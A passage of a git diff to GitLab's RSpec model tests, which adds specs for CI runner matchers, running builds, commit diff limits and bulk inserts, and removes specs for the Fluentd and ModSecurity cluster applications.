+ .with(:runner, runner.id)
+
+ expect(Gitlab::Workhorse).to receive(:set_key_and_notify)
+
+ runner.tick_runner_queue
+ end
+ end
+
describe '#can_pick?' do
using RSpec::Parameterized::TableSyntax
@@ -653,7 +699,7 @@ RSpec.describe Ci::Runner do
describe '#heartbeat' do
let(:runner) { create(:ci_runner, :project) }
- subject { runner.heartbeat(architecture: '18-bit') }
+ subject { runner.heartbeat(architecture: '18-bit', config: { gpus: "all" }) }
context 'when database was updated recently' do
before do
@@ -701,6 +747,7 @@ RSpec.describe Ci::Runner do
def does_db_update
expect { subject }.to change { runner.reload.read_attribute(:contacted_at) }
.and change { runner.reload.read_attribute(:architecture) }
+ .and change { runner.reload.read_attribute(:config) }
end
end
@@ -826,12 +873,12 @@ RSpec.describe Ci::Runner do
expect(described_class.search(runner.token)).to eq([runner])
end
- it 'returns runners with a partially matching token' do
- expect(described_class.search(runner.token[0..2])).to eq([runner])
+ it 'does not return runners with a partially matching token' do
+ expect(described_class.search(runner.token[0..2])).to be_empty
end
- it 'returns runners with a matching token regardless of the casing' do
- expect(described_class.search(runner.token.upcase)).to eq([runner])
+ it 'does not return runners with a matching token with different casing' do
+ expect(described_class.search(runner.token.upcase)).to be_empty
end
it 'returns runners with a matching description' do
@@ -919,29 +966,13 @@ RSpec.describe Ci::Runner do
end
end
- context 'build picking improvement enabled' do
- before do
- stub_feature_flags(ci_reduce_queries_when_ticking_runner_queue: true)
- end
-
+ context 'build picking improvement' do
it 'does not check if the build is assignable to a runner' do
expect(runner).not_to receive(:can_pick?)
runner.pick_build!(build)
end
end
-
- context 'build picking improvement disabled' do
- before do
- stub_feature_flags(ci_reduce_queries_when_ticking_runner_queue: false)
- end
-
- it 'checks if the build is assignable to a runner' do
- expect(runner).to receive(:can_pick?).and_call_original
-
- runner.pick_build!(build)
- end
- end
end
describe 'project runner without projects is destroyable' do
@@ -975,6 +1006,108 @@ RSpec.describe Ci::Runner do
end
end
+ describe '.runner_matchers' do
+ subject(:matchers) { described_class.all.runner_matchers }
+
+ context 'deduplicates on runner_type' do
+ before do
+ create_list(:ci_runner, 2, :instance)
+ create_list(:ci_runner, 2, :project)
+ end
+
+ it 'creates two matchers' do
+ expect(matchers.size).to eq(2)
+
+ expect(matchers.map(&:runner_type)).to match_array(%w[instance_type project_type])
+ end
+ end
+
+ context 'deduplicates on public_projects_minutes_cost_factor' do
+ before do
+ create_list(:ci_runner, 2, public_projects_minutes_cost_factor: 5)
+ create_list(:ci_runner, 2, public_projects_minutes_cost_factor: 10)
+ end
+
+ it 'creates two matchers' do
+ expect(matchers.size).to eq(2)
+
+ expect(matchers.map(&:public_projects_minutes_cost_factor)).to match_array([5, 10])
+ end
+ end
+
+ context 'deduplicates on private_projects_minutes_cost_factor' do
+ before do
+ create_list(:ci_runner, 2, private_projects_minutes_cost_factor: 5)
+ create_list(:ci_runner, 2, private_projects_minutes_cost_factor: 10)
+ end
+
+ it 'creates two matchers' do
+ expect(matchers.size).to eq(2)
+
+ expect(matchers.map(&:private_projects_minutes_cost_factor)).to match_array([5, 10])
+ end
+ end
+
+ context 'deduplicates on run_untagged' do
+ before do
+ create_list(:ci_runner, 2, run_untagged: true, tag_list: ['a'])
+ create_list(:ci_runner, 2, run_untagged: false, tag_list: ['a'])
+ end
+
+ it 'creates two matchers' do
+ expect(matchers.size).to eq(2)
+
+ expect(matchers.map(&:run_untagged)).to match_array([true, false])
+ end
+ end
+
+ context 'deduplicates on access_level' do
+ before do
+ create_list(:ci_runner, 2, access_level: :ref_protected)
+ create_list(:ci_runner, 2, access_level: :not_protected)
+ end
+
+ it 'creates two matchers' do
+ expect(matchers.size).to eq(2)
+
+ expect(matchers.map(&:access_level)).to match_array(%w[ref_protected not_protected])
+ end
+ end
+
+ context 'deduplicates on tag_list' do
+ before do
+ create_list(:ci_runner, 2, tag_list: %w[tag1 tag2])
+ create_list(:ci_runner, 2, tag_list: %w[tag3 tag4])
+ end
+
+ it 'creates two matchers' do
+ expect(matchers.size).to eq(2)
+
+ expect(matchers.map(&:tag_list)).to match_array([%w[tag1 tag2], %w[tag3 tag4]])
+ end
+ end
+ end
+
+ describe '#runner_matcher' do
+ let(:runner) do
+ build_stubbed(:ci_runner, :instance_type, tag_list: %w[tag1 tag2])
+ end
+
+ subject(:matcher) { runner.runner_matcher }
+
+ it { expect(matcher.runner_type).to eq(runner.runner_type) }
+
+ it { expect(matcher.public_projects_minutes_cost_factor).to eq(runner.public_projects_minutes_cost_factor) }
+
+ it { expect(matcher.private_projects_minutes_cost_factor).to eq(runner.private_projects_minutes_cost_factor) }
+
+ it { expect(matcher.run_untagged).to eq(runner.run_untagged) }
+
+ it { expect(matcher.access_level).to eq(runner.access_level) }
+
+ it { expect(matcher.tag_list).to match_array(runner.tag_list) }
+ end
+
describe '#uncached_contacted_at' do
let(:contacted_at_stored) { 1.hour.ago.change(usec: 0) }
let(:runner) { create(:ci_runner, contacted_at: contacted_at_stored) }
diff --git a/spec/models/ci/running_build_spec.rb b/spec/models/ci/running_build_spec.rb
new file mode 100644
index 00000000000..589e5a86f4d
--- /dev/null
+++ b/spec/models/ci/running_build_spec.rb
@@ -0,0 +1,55 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Ci::RunningBuild do
+ let_it_be(:project) { create(:project) }
+ let_it_be(:pipeline) { create(:ci_pipeline, project: project) }
+
+ let(:runner) { create(:ci_runner, :instance_type) }
+ let(:build) { create(:ci_build, :running, runner: runner, pipeline: pipeline) }
+
+ describe '.upsert_shared_runner_build!' do
+ context 'another pending entry does not exist' do
+ it 'creates a new pending entry' do
+ result = described_class.upsert_shared_runner_build!(build)
+
+ expect(result.rows.dig(0, 0)).to eq build.id
+ expect(build.reload.runtime_metadata).to be_present
+ end
+ end
+
+ context 'when another queuing entry exists for given build' do
+ before do
+ described_class.create!(build: build,
+ project: project,
+ runner: runner,
+ runner_type: runner.runner_type)
+ end
+
+ it 'returns a build id as a result' do
+ result = described_class.upsert_shared_runner_build!(build)
+
+ expect(result.rows.dig(0, 0)).to eq build.id
+ end
+ end
+
+ context 'when build has been picked by a specific runner' do
+ let(:runner) { create(:ci_runner, :project) }
+
+ it 'raises an error' do
+ expect { described_class.upsert_shared_runner_build!(build) }
+ .to raise_error(ArgumentError, 'build has not been picked by a shared runner')
+ end
+ end
+
+ context 'when build has not been picked by a runner yet' do
+ let(:build) { create(:ci_build, pipeline: pipeline) }
+
+ it 'raises an error' do
+ expect { described_class.upsert_shared_runner_build!(build) }
+ .to raise_error(ArgumentError, 'build has not been picked by a shared runner')
+ end
+ end
+ end
+end
diff --git a/spec/models/clusters/applications/fluentd_spec.rb b/spec/models/clusters/applications/fluentd_spec.rb
deleted file mode 100644
index ccdf6b0e40d..00000000000
--- a/spec/models/clusters/applications/fluentd_spec.rb
+++ /dev/null
@@ -1,84 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Clusters::Applications::Fluentd do
- let(:waf_log_enabled) { true }
- let(:cilium_log_enabled) { true }
- let(:fluentd) { create(:clusters_applications_fluentd, waf_log_enabled: waf_log_enabled, cilium_log_enabled: cilium_log_enabled) }
-
- include_examples 'cluster application core specs', :clusters_applications_fluentd
- include_examples 'cluster application status specs', :clusters_applications_fluentd
- include_examples 'cluster application version specs', :clusters_applications_fluentd
- include_examples 'cluster application initial status specs'
-
- describe '#can_uninstall?' do
- subject { fluentd.can_uninstall? }
-
- it { is_expected.to be true }
- end
-
- describe '#install_command' do
- subject { fluentd.install_command }
-
- it { is_expected.to be_an_instance_of(Gitlab::Kubernetes::Helm::V3::InstallCommand) }
-
- it 'is initialized with fluentd arguments' do
- expect(subject.name).to eq('fluentd')
- expect(subject.chart).to eq('fluentd/fluentd')
- expect(subject.version).to eq('2.4.0')
- expect(subject).to be_rbac
- end
-
- context 'application failed to install previously' do
- let(:fluentd) { create(:clusters_applications_fluentd, :errored, version: '0.0.1') }
-
- it 'is initialized with the locked version' do
- expect(subject.version).to eq('2.4.0')
- end
- end
- end
-
- describe '#files' do
- let(:application) { fluentd }
- let(:values) { subject[:'values.yaml'] }
-
- subject { application.files }
-
- it 'includes fluentd specific keys in the values.yaml file' do
- expect(values).to include('output.conf', 'general.conf')
- end
- end
-
- describe '#values' do
- let(:modsecurity_log_path) { "/var/log/containers/*#{Clusters::Applications::Ingress::MODSECURITY_LOG_CONTAINER_NAME}*.log" }
- let(:cilium_log_path) { "/var/log/containers/*#{described_class::CILIUM_CONTAINER_NAME}*.log" }
-
- subject { fluentd.values }
-
- context 'with both logs variables set to false' do
- let(:waf_log_enabled) { false }
- let(:cilium_log_enabled) { false }
-
- it "raises ActiveRecord::RecordInvalid" do
- expect {subject}.to raise_error(ActiveRecord::RecordInvalid)
- end
- end
-
- context 'with both logs variables set to true' do
- it { is_expected.to include("#{modsecurity_log_path},#{cilium_log_path}") }
- end
-
- context 'with waf_log_enabled set to true' do
- let(:cilium_log_enabled) { false }
-
- it { is_expected.to include(modsecurity_log_path) }
- end
-
- context 'with cilium_log_enabled set to true' do
- let(:waf_log_enabled) { false }
-
- it { is_expected.to include(cilium_log_path) }
- end
- end
-end
diff --git a/spec/models/clusters/applications/ingress_spec.rb b/spec/models/clusters/applications/ingress_spec.rb
index 1bc1a4343aa..e16d97c42d9 100644
--- a/spec/models/clusters/applications/ingress_spec.rb
+++ b/spec/models/clusters/applications/ingress_spec.rb
@@ -172,94 +172,4 @@ RSpec.describe Clusters::Applications::Ingress do
expect(values).to include('clusterIP')
end
end
-
- describe '#values' do
- subject { ingress }
-
- context 'when modsecurity_enabled is enabled' do
- before do
- allow(subject).to receive(:modsecurity_enabled).and_return(true)
- end
-
- it 'includes modsecurity module enablement' do
- expect(subject.values).to include("enable-modsecurity: 'true'")
- end
-
- it 'includes modsecurity core ruleset enablement set to false' do
- expect(subject.values).to include("enable-owasp-modsecurity-crs: 'false'")
- end
-
- it 'includes modsecurity snippet with information related to security rules' do
- expect(subject.values).to include("SecRuleEngine DetectionOnly")
- expect(subject.values).to include("Include #{described_class::MODSECURITY_OWASP_RULES_FILE}")
- end
-
- context 'when modsecurity_mode is set to :blocking' do
- before do
- subject.blocking!
- end
-
- it 'includes modsecurity snippet with information related to security rules' do
- expect(subject.values).to include("SecRuleEngine On")
- expect(subject.values).to include("Include #{described_class::MODSECURITY_OWASP_RULES_FILE}")
- end
- end
-
- it 'includes modsecurity.conf content' do
- expect(subject.values).to include('modsecurity.conf')
- # Includes file content from Ingress#modsecurity_config_content
- expect(subject.values).to include('SecAuditLog')
-
- expect(subject.values).to include('extraVolumes')
- expect(subject.values).to include('extraVolumeMounts')
- end
-
- it 'includes modsecurity sidecar container' do
- expect(subject.values).to include('modsecurity-log-volume')
-
- expect(subject.values).to include('extraContainers')
- end
-
- it 'executes command to tail modsecurity logs with -F option' do
- args = YAML.safe_load(subject.values).dig('controller', 'extraContainers', 0, 'args')
-
- expect(args).to eq(['/bin/sh', '-c', 'tail -F /var/log/modsec/audit.log'])
- end
-
- it 'includes livenessProbe for modsecurity sidecar container' do
- probe_config = YAML.safe_load(subject.values).dig('controller', 'extraContainers', 0, 'livenessProbe')
-
- expect(probe_config).to eq('exec' => { 'command' => ['ls', '/var/log/modsec/audit.log'] })
- end
- end
-
- context 'when modsecurity_enabled is disabled' do
- before do
- allow(subject).to receive(:modsecurity_enabled).and_return(false)
- end
-
- it 'excludes modsecurity module enablement' do
- expect(subject.values).not_to include('enable-modsecurity')
- end
-
- it 'excludes modsecurity core ruleset enablement' do
- expect(subject.values).not_to include('enable-owasp-modsecurity-crs')
- end
-
- it 'excludes modsecurity.conf content' do
- expect(subject.values).not_to include('modsecurity.conf')
- # Excludes file content from Ingress#modsecurity_config_content
- expect(subject.values).not_to include('SecAuditLog')
-
- expect(subject.values).not_to include('extraVolumes')
- expect(subject.values).not_to include('extraVolumeMounts')
- end
-
- it 'excludes modsecurity sidecar container' do
- expect(subject.values).not_to include('modsecurity-log-volume')
-
- expect(subject.values).not_to include('extraContainers')
- end
- end
- end
end
diff --git a/spec/models/clusters/cluster_spec.rb b/spec/models/clusters/cluster_spec.rb
index b2ed64fd9b0..278e200b05c 100644
--- a/spec/models/clusters/cluster_spec.rb
+++ b/spec/models/clusters/cluster_spec.rb
@@ -42,7 +42,8 @@ RSpec.describe Clusters::Cluster, :use_clean_rails_memory_store_caching do
it { is_expected.to delegate_method(:available?).to(:application_helm).with_prefix }
it { is_expected.to delegate_method(:available?).to(:application_ingress).with_prefix }
it { is_expected.to delegate_method(:available?).to(:application_knative).with_prefix }
- it { is_expected.to delegate_method(:available?).to(:application_elastic_stack).with_prefix }
+ it { is_expected.to delegate_method(:available?).to(:integration_elastic_stack).with_prefix }
+ it { is_expected.to delegate_method(:available?).to(:integration_prometheus).with_prefix }
it { is_expected.to delegate_method(:external_ip).to(:application_ingress).with_prefix }
it { is_expected.to delegate_method(:external_hostname).to(:application_ingress).with_prefix }
@@ -195,28 +196,6 @@ RSpec.describe Clusters::Cluster, :use_clean_rails_memory_store_caching do
end
end
- describe '.with_enabled_modsecurity' do
- subject { described_class.with_enabled_modsecurity }
-
- let_it_be(:cluster) { create(:cluster) }
-
- context 'cluster has ingress application with enabled modsecurity' do
- let!(:application) { create(:clusters_applications_ingress, :installed, :modsecurity_logging, cluster: cluster) }
-
- it { is_expected.to include(cluster) }
- end
-
- context 'cluster has ingress application with disabled modsecurity' do
- let!(:application) { create(:clusters_applications_ingress, :installed, :modsecurity_disabled, cluster: cluster) }
-
- it { is_expected.not_to include(cluster) }
- end
-
- context 'cluster does not have ingress application' do
- it { is_expected.not_to include(cluster) }
- end
- end
-
describe '.with_available_elasticstack' do
subject { described_class.with_available_elasticstack }
@@ -1042,7 +1021,6 @@ RSpec.describe Clusters::Cluster, :use_clean_rails_memory_store_caching do
where(:status_name, :cleanup_status) do
provider_status | :cleanup_not_started
- :cleanup_ongoing | :cleanup_uninstalling_applications
:cleanup_ongoing | :cleanup_removing_project_namespaces
:cleanup_ongoing | :cleanup_removing_service_account
:cleanup_errored | :cleanup_errored
@@ -1098,8 +1076,8 @@ RSpec.describe Clusters::Cluster, :use_clean_rails_memory_store_caching do
end
describe '#start_cleanup!' do
- let(:expected_worker_class) { Clusters::Cleanup::AppWorker }
- let(:to_state) { :cleanup_uninstalling_applications }
+ let(:expected_worker_class) { Clusters::Cleanup::ProjectNamespaceWorker }
+ let(:to_state) { :cleanup_removing_project_namespaces }
subject { cluster.start_cleanup! }
@@ -1137,25 +1115,13 @@ RSpec.describe Clusters::Cluster, :use_clean_rails_memory_store_caching do
end
describe '#continue_cleanup!' do
- context 'when cleanup_status is cleanup_uninstalling_applications' do
- let(:expected_worker_class) { Clusters::Cleanup::ProjectNamespaceWorker }
- let(:from_state) { :cleanup_uninstalling_applications }
- let(:to_state) { :cleanup_removing_project_namespaces }
-
- subject { cluster.continue_cleanup! }
+ let(:expected_worker_class) { Clusters::Cleanup::ServiceAccountWorker }
+ let(:from_state) { :cleanup_removing_project_namespaces }
+ let(:to_state) { :cleanup_removing_service_account }
- it_behaves_like 'cleanup_status transition'
- end
-
- context 'when cleanup_status is cleanup_removing_project_namespaces' do
- let(:expected_worker_class) { Clusters::Cleanup::ServiceAccountWorker }
- let(:from_state) { :cleanup_removing_project_namespaces }
- let(:to_state) { :cleanup_removing_service_account }
+ subject { cluster.continue_cleanup! }
- subject { cluster.continue_cleanup! }
-
- it_behaves_like 'cleanup_status transition'
- end
+ it_behaves_like 'cleanup_status transition'
end
end
@@ -1349,45 +1315,23 @@ RSpec.describe Clusters::Cluster, :use_clean_rails_memory_store_caching do
end
end
- describe '#application_prometheus_available?' do
+ describe '#integration_prometheus_available?' do
let_it_be_with_reload(:cluster) { create(:cluster, :project) }
- subject { cluster.application_prometheus_available? }
+ subject { cluster.integration_prometheus_available? }
it { is_expected.to be_falsey }
- context 'has a integration_prometheus' do
- let_it_be(:integration) { create(:clusters_integrations_prometheus, cluster: cluster) }
+ context 'when integration is enabled' do
+ let!(:integration) { create(:clusters_integrations_prometheus, cluster: cluster) }
it { is_expected.to be_truthy }
-
- context 'disabled' do
- before do
- cluster.integration_prometheus.enabled = false
- end
-
- it { is_expected.to be_falsey }
- end
end
- context 'has a application_prometheus' do
- let_it_be(:application) { create(:clusters_applications_prometheus, :installed, :no_helm_installed, cluster: cluster) }
+ context 'when integration is disabled' do
+ let!(:integration) { create(:clusters_integrations_prometheus, enabled: false, cluster: cluster) }
- it { is_expected.to be_truthy }
-
- context 'errored' do
- before do
- cluster.application_prometheus.status = Clusters::Applications::Prometheus.state_machines[:status].states[:errored]
- end
-
- it { is_expected.to be_falsey }
- end
-
- context 'also has a integration_prometheus' do
- let_it_be(:integration) { create(:clusters_integrations_prometheus, cluster: cluster) }
-
- it { is_expected.to be_truthy }
- end
+ it { is_expected.to be_falsey }
end
end
@@ -1398,7 +1342,7 @@ RSpec.describe Clusters::Cluster, :use_clean_rails_memory_store_caching do
expect(cluster.prometheus_adapter).to be_nil
end
- context 'has a integration_prometheus' do
+ context 'has integration_prometheus' do
let_it_be(:integration) { create(:clusters_integrations_prometheus, cluster: cluster) }
it 'returns the integration' do
@@ -1406,11 +1350,11 @@ RSpec.describe Clusters::Cluster, :use_clean_rails_memory_store_caching do
end
end
- context 'has a application_prometheus' do
+ context 'has application_prometheus' do
let_it_be(:application) { create(:clusters_applications_prometheus, :no_helm_installed, cluster: cluster) }
- it 'returns the application' do
- expect(cluster.prometheus_adapter).to eq(application)
+ it 'returns nil' do
+ expect(cluster.prometheus_adapter).to be_nil
end
context 'also has a integration_prometheus' do
diff --git a/spec/models/clusters/clusters_hierarchy_spec.rb b/spec/models/clusters/clusters_hierarchy_spec.rb
index 5ac561eb2d0..5dd2fe98352 100644
--- a/spec/models/clusters/clusters_hierarchy_spec.rb
+++ b/spec/models/clusters/clusters_hierarchy_spec.rb
@@ -4,8 +4,8 @@ require 'spec_helper'
RSpec.describe Clusters::ClustersHierarchy do
describe '#base_and_ancestors' do
- def base_and_ancestors(clusterable, include_management_project: true)
- described_class.new(clusterable, include_management_project: include_management_project).base_and_ancestors
+ def base_and_ancestors(clusterable)
+ described_class.new(clusterable).base_and_ancestors
end
context 'project in nested group with clusters at every level' do
@@ -101,10 +101,6 @@ RSpec.describe Clusters::ClustersHierarchy do
expect(base_and_ancestors(management_project)).to eq([ancestor, child])
end
- it 'returns clusters for management_project' do
- expect(base_and_ancestors(management_project, include_management_project: false)).to eq([child, ancestor])
- end
-
it 'returns clusters for project' do
expect(base_and_ancestors(project)).to eq([child, ancestor])
end
diff --git a/spec/models/commit_spec.rb b/spec/models/commit_spec.rb
index 7c00f367844..8ffc198fc4d 100644
--- a/spec/models/commit_spec.rb
+++ b/spec/models/commit_spec.rb
@@ -471,16 +471,25 @@ eos
end
it_behaves_like 'a mentionable' do
- subject { create(:project, :repository).commit }
+ subject(:commit) { create(:project, :repository).commit }
let(:author) { create(:user, email: subject.author_email) }
let(:backref_text) { "commit #{subject.id}" }
let(:set_mentionable_text) do
- ->(txt) { allow(subject).to receive(:safe_message).and_return(txt) }
+ ->(txt) { allow(commit).to receive(:safe_message).and_return(txt) }
end
# Include the subject in the repository stub.
- let(:extra_commits) { [subject] }
+ let(:extra_commits) { [commit] }
+
+ it 'uses the CachedMarkdownField cache instead of the Mentionable cache', :use_clean_rails_redis_caching do
+ expect(commit.title_html).not_to be_present
+
+ commit.all_references(project.owner).all
+
+ expect(commit.title_html).to be_present
+ expect(Rails.cache.read("banzai/commit:#{commit.id}/safe_message/single_line")).to be_nil
+ end
end
describe '#hook_attrs' do
@@ -663,6 +672,92 @@ eos
it_behaves_like '#uri_type'
end
+ describe '.diff_max_files' do
+ subject(:diff_max_files) { described_class.diff_max_files }
+
+ let(:increased_diff_limits) { false }
+ let(:configurable_diff_limits) { false }
+
+ before do
+ stub_feature_flags(increased_diff_limits: increased_diff_limits, configurable_diff_limits: configurable_diff_limits)
+ end
+
+ context 'when increased_diff_limits is enabled' do
+ let(:increased_diff_limits) { true }
+
+ it 'returns 3000' do
+ expect(diff_max_files).to eq(3000)
+ end
+ end
+
+ context 'when configurable_diff_limits is enabled' do
+ let(:configurable_diff_limits) { true }
+
+ it 'returns the current settings' do
+ Gitlab::CurrentSettings.update!(diff_max_files: 1234)
+ expect(diff_max_files).to eq(1234)
+ end
+ end
+
+ context 'when neither feature flag is enabled' do
+ it 'returns 1000' do
+ expect(diff_max_files).to eq(1000)
+ end
+ end
+ end
+
+ describe '.diff_max_lines' do
+ subject(:diff_max_lines) { described_class.diff_max_lines }
+
+ let(:increased_diff_limits) { false }
+ let(:configurable_diff_limits) { false }
+
+ before do
+ stub_feature_flags(increased_diff_limits: increased_diff_limits, configurable_diff_limits: configurable_diff_limits)
+ end
+
+ context 'when increased_diff_limits is enabled' do
+ let(:increased_diff_limits) { true }
+
+ it 'returns 100000' do
+ expect(diff_max_lines).to eq(100000)
+ end
+ end
+
+ context 'when configurable_diff_limits is enabled' do
+ let(:configurable_diff_limits) { true }
+
+ it 'returns the current settings' do
+ Gitlab::CurrentSettings.update!(diff_max_lines: 65321)
+ expect(diff_max_lines).to eq(65321)
+ end
+ end
+
+ context 'when neither feature flag is enabled' do
+ it 'returns 50000' do
+ expect(diff_max_lines).to eq(50000)
+ end
+ end
+ end
+
+ describe '.diff_safe_max_files' do
+ subject(:diff_safe_max_files) { described_class.diff_safe_max_files }
+
+ it 'returns the commit diff max divided by the limit factor of 10' do
+ expect(::Commit).to receive(:diff_max_files).and_return(10)
+ expect(diff_safe_max_files).to eq(1)
+ end
+ end
+
+ describe '.diff_safe_max_lines' do
+ subject(:diff_safe_max_lines) { described_class.diff_safe_max_lines }
+
+ it 'returns the commit diff max divided by the limit factor of 10' do
+ expect(::Commit).to receive(:diff_max_lines).and_return(100)
+ expect(diff_safe_max_lines).to eq(10)
+ end
+ end
+
describe '.from_hash' do
subject { described_class.from_hash(commit.to_hash, container) }
diff --git a/spec/models/commit_status_spec.rb b/spec/models/commit_status_spec.rb
index feb2f3630c1..69b4d752f4c 100644
--- a/spec/models/commit_status_spec.rb
+++ b/spec/models/commit_status_spec.rb
@@ -79,6 +79,32 @@ RSpec.describe CommitStatus do
end
end
+ describe '.updated_before' do
+ let!(:lookback) { 5.days.ago }
+ let!(:timeout) { 1.day.ago }
+ let!(:before_lookback) { lookback - 1.hour }
+ let!(:after_lookback) { lookback + 1.hour }
+ let!(:before_timeout) { timeout - 1.hour }
+ let!(:after_timeout) { timeout + 1.hour }
+
+ subject { described_class.updated_before(lookback: lookback, timeout: timeout) }
+
+ def create_build_with_set_timestamps(created_at:, updated_at:)
+ travel_to(created_at) { create(:ci_build, created_at: Time.current) }.tap do |build|
+ travel_to(updated_at) { build.update!(status: :failed) }
+ end
+ end
+
+ it 'finds builds updated and created in the window between lookback and timeout' do
+ build_in_lookback_timeout_window = create_build_with_set_timestamps(created_at: after_lookback, updated_at: before_timeout)
+ build_outside_lookback_window = create_build_with_set_timestamps(created_at: before_lookback, updated_at: before_timeout)
+ build_outside_timeout_window = create_build_with_set_timestamps(created_at: after_lookback, updated_at: after_timeout)
+
+ expect(subject).to contain_exactly(build_in_lookback_timeout_window)
+ expect(subject).not_to include(build_outside_lookback_window, build_outside_timeout_window)
+ end
+ end
+
describe '#processed' do
subject { commit_status.processed }
diff --git a/spec/models/concerns/awardable_spec.rb b/spec/models/concerns/awardable_spec.rb
index b5b3772ecb6..b80b6ec95e2 100644
--- a/spec/models/concerns/awardable_spec.rb
+++ b/spec/models/concerns/awardable_spec.rb
@@ -108,7 +108,7 @@ RSpec.describe Awardable do
it "doesn't include unused thumbs buttons when disabled in project" do
issue_without_downvote.project.show_default_award_emojis = false
- expect(issue_without_downvote.grouped_awards.keys.sort).to eq []
+ expect(issue_without_downvote.grouped_awards.keys.sort).to be_empty
end
it "includes unused thumbs buttons when enabled in project" do
@@ -118,7 +118,7 @@ RSpec.describe Awardable do
end
it "doesn't include unused thumbs buttons in summary" do
- expect(issue_without_downvote.grouped_awards(with_thumbs: false).keys).to eq []
+ expect(issue_without_downvote.grouped_awards(with_thumbs: false).keys).to be_empty
end
it "includes used thumbs buttons when disabled in project" do
diff --git a/spec/models/concerns/bulk_insert_safe_spec.rb b/spec/models/concerns/bulk_insert_safe_spec.rb
index ca6df506ee8..209ee1264d5 100644
--- a/spec/models/concerns/bulk_insert_safe_spec.rb
+++ b/spec/models/concerns/bulk_insert_safe_spec.rb
@@ -20,6 +20,13 @@ RSpec.describe BulkInsertSafe do
t.index :name, unique: true
end
+
+ create_table :bulk_insert_items_with_composite_pk, id: false, force: true do |t|
+ t.integer :id, null: true
+ t.string :name, null: true
+ end
+
+ execute("ALTER TABLE bulk_insert_items_with_composite_pk ADD PRIMARY KEY (id,name);")
end
end
@@ -27,6 +34,7 @@ RSpec.describe BulkInsertSafe do
ActiveRecord::Schema.define do
drop_table :bulk_insert_items, force: true
drop_table :bulk_insert_parent_items, force: true
+ drop_table :bulk_insert_items_with_composite_pk, force: true
end
end
@@ -227,5 +235,28 @@ RSpec.describe BulkInsertSafe do
end
end
end
+
+ context 'when a model with composite primary key is inserted' do
+ let_it_be(:bulk_insert_items_with_composite_pk_class) do
+ Class.new(ActiveRecord::Base) do
+ self.table_name = 'bulk_insert_items_with_composite_pk'
+
+ include BulkInsertSafe
+ end
+ end
+
+ let(:new_object) { bulk_insert_items_with_composite_pk_class.new(id: 1, name: 'composite') }
+
+ it 'successfully inserts an item' do
+ expect(ActiveRecord::InsertAll).to receive(:new)
+ .with(
+ bulk_insert_items_with_composite_pk_class, [new_object.as_json], on_duplicate: :raise, returning: false, unique_by: %w[id name]
+ ).and_call_original
+
+ expect { bulk_insert_items_with_composite_pk_class.bulk_insert!([new_object]) }.to(
+ change(bulk_insert_items_with_composite_pk_class, :count).from(0).to(1)
+ )
+ end
+ end
end
end
diff --git a/spec/models/concerns/deployment_platform_spec.rb b/spec/models/concerns/deployment_platform_spec.rb
index 2bb6aa27e21..7fa55184cf1 100644
--- a/spec/models/concerns/deployment_platform_spec.rb
+++ b/spec/models/concerns/deployment_platform_spec.rb
@@ -254,20 +254,8 @@ RSpec.describe DeploymentPlatform do
create(:cluster, :provided_by_user, projects: [another_project], management_project: project)
end
- context 'cluster_management_project feature is enabled' do
- it 'returns the cluster with management project' do
- is_expected.to eq(cluster_with_management_project.platform_kubernetes)
- end
- end
-
- context 'cluster_management_project feature is disabled' do
- before do
- stub_feature_flags(cluster_management_project: false)
- end
-
- it 'returns nothing' do
- is_expected.to be_nil
- end
+ it 'returns the cluster with management project' do
+ is_expected.to eq(cluster_with_management_project.platform_kubernetes)
end
end
@@ -311,20 +299,8 @@ RSpec.describe DeploymentPlatform do
create(:cluster, :provided_by_user, projects: [another_project], management_project: project)
end
- context 'cluster_management_project feature is enabled' do
- it 'returns the cluster with management project' do
- is_expected.to eq(cluster_with_management_project.platform_kubernetes)
- end
- end
-
- context 'cluster_management_project feature is disabled' do
- before do
- stub_feature_flags(cluster_management_project: false)
- end
-
- it 'returns the group cluster' do
- is_expected.to eq(group_cluster.platform_kubernetes)
- end
+ it 'returns the cluster with management project' do
+ is_expected.to eq(cluster_with_management_project.platform_kubernetes)
end
end
diff --git a/spec/models/concerns/has_timelogs_report_spec.rb b/spec/models/concerns/has_timelogs_report_spec.rb
deleted file mode 100644
index f0dca47fae1..00000000000
--- a/spec/models/concerns/has_timelogs_report_spec.rb
+++ /dev/null
@@ -1,55 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe HasTimelogsReport do
- let_it_be(:user) { create(:user) }
-
- let(:group) { create(:group) }
- let(:project) { create(:project, :public, group: group) }
- let(:issue1) { create(:issue, project: project) }
- let(:merge_request1) { create(:merge_request, source_project: project) }
-
- describe '#timelogs' do
- let_it_be(:start_time) { 20.days.ago }
- let_it_be(:end_time) { 8.days.ago }
-
- let!(:timelog1) { create_timelog(15.days.ago, issue: issue1) }
- let!(:timelog2) { create_timelog(10.days.ago, merge_request: merge_request1) }
- let!(:timelog3) { create_timelog(5.days.ago, issue: issue1) }
-
- before do
- group.add_developer(user)
- end
-
- it 'returns collection of timelogs between given times' do
- expect(group.timelogs(start_time, end_time).to_a).to match_array([timelog1, timelog2])
- end
-
- it 'returns empty collection if times are not present' do
- expect(group.timelogs(nil, nil)).to be_empty
- end
-
- it 'returns empty collection if time range is invalid' do
- expect(group.timelogs(end_time, start_time)).to be_empty
- end
- end
-
- describe '#user_can_access_group_timelogs?' do
- it 'returns true if user can access group timelogs' do
- group.add_developer(user)
-
- expect(group).to be_user_can_access_group_timelogs(user)
- end
-
- it 'returns false if user has insufficient permissions' do
- group.add_guest(user)
-
- expect(group).not_to be_user_can_access_group_timelogs(user)
- end
- end
-
- def create_timelog(time, issue: nil, merge_request: nil)
- create(:timelog, issue: issue, merge_request: merge_request, user: user, spent_at: time)
- end
-end
diff --git a/spec/models/concerns/has_user_type_spec.rb b/spec/models/concerns/has_user_type_spec.rb
index c87bbf24c30..a6a0e074589 100644
--- a/spec/models/concerns/has_user_type_spec.rb
+++ b/spec/models/concerns/has_user_type_spec.rb
@@ -5,7 +5,7 @@ require 'spec_helper'
RSpec.describe User do
specify 'types consistency checks', :aggregate_failures do
expect(described_class::USER_TYPES.keys)
- .to match_array(%w[human ghost alert_bot project_bot support_bot service_user security_bot visual_review_bot migration_bot])
+ .to match_array(%w[human ghost alert_bot project_bot support_bot service_user security_bot visual_review_bot migration_bot automation_bot])
expect(described_class::USER_TYPES).to include(*described_class::BOT_USER_TYPES)
expect(described_class::USER_TYPES).to include(*described_class::NON_INTERNAL_USER_TYPES)
